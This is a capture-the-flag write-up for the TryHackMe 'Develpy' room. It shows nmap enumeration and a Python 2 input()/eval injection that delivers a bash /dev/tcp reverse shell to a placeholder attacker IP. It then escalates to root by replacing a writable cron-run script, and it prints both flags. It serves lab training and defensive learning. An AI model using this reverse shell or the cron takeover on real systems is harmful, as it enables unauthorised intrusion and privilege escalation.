# Develpy (CTF Challenge - THM)

## Introduction

Develpy is a beginner-friendly TryHackMe challenge that focuses on code injection 
and privilege escalation via cron job abuse. The attack surface starts with a 
custom Python 2 service running on port 10000 that exposes a dangerous use of 
`input()` — which in Python 2 implicitly calls `eval()` on user input, enabling 
remote code execution without any authentication. From there, privilege escalation 
is achieved by abusing a writable script that root executes every minute via cron.

## Develpy

read user.txt and root.txt

## Answer the questions below

### Reconnaisance & Enumeration

```plaintext
nmap -sV -p- IP_Address

Not shown: 65533 closed ports
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
10000/tcp open  snet-sensor-mgmt?
```

### user.txt

*   With the help of Claude, learned that we had to run this command `nc IP_Address 10000` and also start a netcat server at 4444 on another tab
    

```plaintext
nc IP_Address 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('bash -c "bash -i > /dev/tcp/ATTACKBOX_IP/4444 0>&1"')
bash: cannot set terminal process group (772): Inappropriate ioctl for device
bash: no job control in this shell
```

*   This way, we got our user flag.
    

```plaintext
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 39286
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
whoami
king
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:05 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat user.txt
cf85ff769cfaaa721758949bf870b019
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/372be71b-8a90-4e55-9030-cf6c6a3ada86.png align="center")

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3180bc82-432f-4d67-b24d-e4e620dd3401.png align="center")

### root.txt

```plaintext
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *	* * *	king	cd /home/king/ && bash run.sh
*  *	* * *	root	cd /home/king/ && bash root.sh
*  *	* * *	root	cd /root/company && bash run.sh
#
```

```plaintext
cat run.sh
#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &
echo $! > /home/king/.pid
```

```plaintext
crontab -l
strings credentials.png
IHDR
PLTE
tRNS
=Fc@
tEXtArtist
Mondrian\
tEXtCopyright
Mondrian
"gIDATx
```

entering date, then giving it some minute then go ahead and remove the `root.sh` file, then add to the script a line that will allow us to copy the root.txt from the root user to our current user king for us to access a copy of the root file that has the root flag

```plaintext
date
Fri Mar 27 12:31:38 PDT 2026
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:33 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
rm root.sh
echo 'cp /root/root.txt /home/king/root.txt' > root.sh
ls -la
total 328
drwxr-xr-x 4 king king   4096 Mar 27 12:35 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Mar 27 12:37 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-rw-r-- 1 king king     38 Mar 27 12:34 root.sh
-rw-r--r-- 1 root root     33 Mar 27 12:37 root.txt
-rw-rw-r-- 1 king king    183 Mar 27 12:22 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
cat root.txt 
9c37646777a53910a347f387dce025ec
```

![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/6a1af213-3fed-4b40-bc45-ba2a06189952.png align="center")


## Conclusion

This challenge reinforced two important concepts:

- **Python 2 `input()` is `eval()`** — unlike Python 3, Python 2's `input()` 
  evaluates whatever the user sends as Python code before processing it. This makes 
  it trivially exploitable for RCE (CWE-78). Always check the Python version when 
  auditing input handling.

- **Cron job privilege escalation** — when a high-privilege user (root) executes 
  a script that a lower-privileged user can write to or replace, it creates a 
  reliable privesc path. Enumerating `/etc/crontab` and checking file permissions 
  on scripts referenced there should be a standard step in any post-exploitation 
  checklist.

The root flag was obtained by replacing `root.sh` with a script that copied 
`/root/root.txt` to king's home directory, then waiting for the cron job to 
execute it as root.
